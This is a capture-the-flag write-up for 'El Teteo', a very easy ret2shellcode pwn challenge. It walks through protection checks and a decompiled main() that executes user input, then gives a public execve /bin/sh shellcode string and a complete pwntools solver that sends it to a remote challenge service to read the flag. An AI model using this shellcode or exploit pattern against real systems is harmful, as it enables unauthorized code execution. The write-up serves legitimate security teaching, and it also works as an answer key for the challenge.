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El Teteo
16th September 2024 / Document No. DYY.102.XX
Prepared By: w3th4nds
Challenge Author(s): w3th4nds
Difficulty: Very Easy
Classification: Official
# Synopsis
El Teteo is a very easy difficulty challenge that features `ret2shellcode`.
# Description
El Teteo, a mischievous ghostly djinni born with a party spirit. You have one chance to summon it and make your wish—but only if it’s in the mood to grant it.
## Skills Required
- Basic C.
## Skills Learned
- `ret2shellcode`.
# Enumeration
First of all, we start with a `checksec`:
```console
pwndbg> checksec
Arch: amd64
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
RUNPATH: b'./glibc/'
SHSTK: Enabled
IBT: Enabled
Stripped: No
```
### Protections 🛡️
As we can see:
| Protection | Enabled | Usage |
| :---: | :---: | :---: |
| **Canary** | ✅ | Prevents **Buffer Overflows** |
| **NX** | ❌ | Disables **code execution** on stack |
| **PIE** | ✅ | Randomizes the **base address** of the binary |
| **RelRO** | **Full** | Makes some binary sections **read-only** |
The program's interface
![](assets/interface.png)
We already see that when we enter something, the program crashes with "Illegal Instruction". This means that the program tries to execute something that is not a valid instruction. We also see that `NX` is disabled, meaning we can execute arbitrary code.
### Disassembly
Starting with `main()`:
```c
00001366 int32_t main(int32_t argc, char** argv, char** envp)
00001366 {
0000137e void* fsbase;
0000137e int64_t canary = *(uint64_t*)((char*)fsbase + 0x28);
00001392 cls();
0000139e void* const var_a8 = "\x1b[1;33m";
000013ac void* const var_a0 = "\x1b[1;36m";
000013ba void* const var_98 = "\x1b[1;32m";
000013c8 void* const var_90 = "\x1b[1;31m";
000013d6 void* const var_88 = "\x1b[1;34m";
000013e1 void* const var_80 = "\x1b[1;35m";
000013ec void* const var_78 = "\x1b[1;37m";
000013fc srand(time(nullptr));
00001448 printf(&data_204e, &var_a8[((int64_t)(rand() % 6))]);
0000147a int64_t rax_22 = &var_a8[((int64_t)(rand() % 6))];
000014b6 int64_t rbx = &var_a8[((int64_t)(rand() % 6))];
000014f2 int64_t rdi_1 = &var_a8[((int64_t)(rand() % 6))];
0000152e int64_t rsi_11 = &var_a8[((int64_t)(rand() % 6))];
0000156a int64_t rcx_24 = &var_a8[((int64_t)(rand() % 6))];
000015a6 int64_t rdx_7 = &var_a8[((int64_t)(rand() % 6))];
000015e2 int64_t r10 = &var_a8[((int64_t)(rand() % 6))];
0000161e int64_t r11 = &var_a8[((int64_t)(rand() % 6))];
0000165a int64_t r8 = &var_a8[((int64_t)(rand() % 6))];
00001696 int64_t r9 = &var_a8[((int64_t)(rand() % 6))];
000016d2 int64_t r14 = &var_a8[((int64_t)(rand() % 6))];
0000170e int64_t r15 = &var_a8[((int64_t)(rand() % 6))];
0000174a int64_t r12 = &var_a8[((int64_t)(rand() % 6))];
00001786 int64_t r13 = &var_a8[((int64_t)(rand() % 6))];
000017c2 int64_t rax_149 = &var_a8[((int64_t)(rand() % 6))];
000017fe int64_t rbx_1 = &var_a8[((int64_t)(rand() % 6))];
0000183a int64_t rdi_2 = &var_a8[((int64_t)(rand() % 6))];
00001876 int64_t rsi_40 = &var_a8[((int64_t)(rand() % 6))];
000018b2 int64_t rcx_62 = &var_a8[((int64_t)(rand() % 6))];
000018ee int64_t rdx_43 = &var_a8[((int64_t)(rand() % 6))];
0000192a int64_t r10_1 = &var_a8[((int64_t)(rand() % 6))];
00001966 int64_t r11_1 = &var_a8[((int64_t)(rand() % 6))];
000019a2 int64_t r8_1 = &var_a8[((int64_t)(rand() % 6))];
000019de int64_t r9_1 = &var_a8[((int64_t)(rand() % 6))];
00001a1a int64_t r14_1 = &var_a8[((int64_t)(rand() % 6))];
00001a56 int64_t r15_1 = &var_a8[((int64_t)(rand() % 6))];
00001a92 int64_t r14_2 = &var_a8[((int64_t)(rand() % 6))];
00001ac7 int64_t r15_2 = &var_a8[((int64_t)(rand() % 6))];
00001afc int64_t r13_1 = &var_a8[((int64_t)(rand() % 6))];
00001b31 int64_t r12_1 = &var_a8[((int64_t)(rand() % 6))];
00001b66 int64_t rbx_2 = &var_a8[((int64_t)(rand() % 6))];
00001c63 printf(&data_2058, &var_a8[((int64_t)(rand() % 6))], rbx_2, r12_1, r13_1, r15_2, r14_2, r15_1, r14_1, r9_1, r8_1, r11_1, r10_1, rdx_43, rcx_62, rsi_40, rdi_2, rbx_1, rax_149, r13, r12, r15, r14, r9, r8, r11, r10, rdx_7, rcx_24, rsi_11, rdi_1, rbx, rax_22);
00001c79 printstr("[!] I will do whatever you want,…");
00001c7e int64_t shellcode;
00001c7e __builtin_memset(&shellcode, 0, 0x20);
00001caf read(0, &shellcode, 0x1f);
00001cbd &shellcode();
00001cc8 *(uint64_t*)((char*)fsbase + 0x28);
00001cc8
00001cd1 if (canary == *(uint64_t*)((char*)fsbase + 0x28))
00001ce6 return 0;
00001ce6
00001cd3 __stack_chk_fail();
00001cd3 /* no return */
00001366 }
```
If we skip the "colors", the actual code is:
```c
00001c79 printstr("[!] I will do whatever you want,…");
00001c7e int64_t shellcode;
00001c7e __builtin_memset(&shellcode, 0, 0x20);
00001caf read(0, &shellcode, 0x1f);
00001cbd &shellcode();
```
The program will execute whatever we store in the "shellcode" buffer. Taking that into consideration and the fact that `NX` is disabled, we can execute code and get shell. [This](https://shell-storm.org/shellcode/files/shellcode-806.html) payload works like a charm.
```bash
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
```
# Solution
```python
#!/usr/bin/python3
from pwn import *
import warnings
import os
warnings.filterwarnings('ignore')
context.arch = 'amd64'
context.log_level = 'critical'
fname = './el_teteo'
LOCAL = False
os.system('clear')
if LOCAL:
print('Running solver locally..\n')
r = process(fname)
else:
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
r = remote(IP, PORT)
print(f'Running solver remotely at {IP} {PORT}\n')
# Shellcode from https://shell-storm.org/shellcode/files/shellcode-806.html
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# Send shellcode
r.sendlineafter('>', sc)
# Get flag
pause(1)
r.sendline('cat flag*')
print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n')
```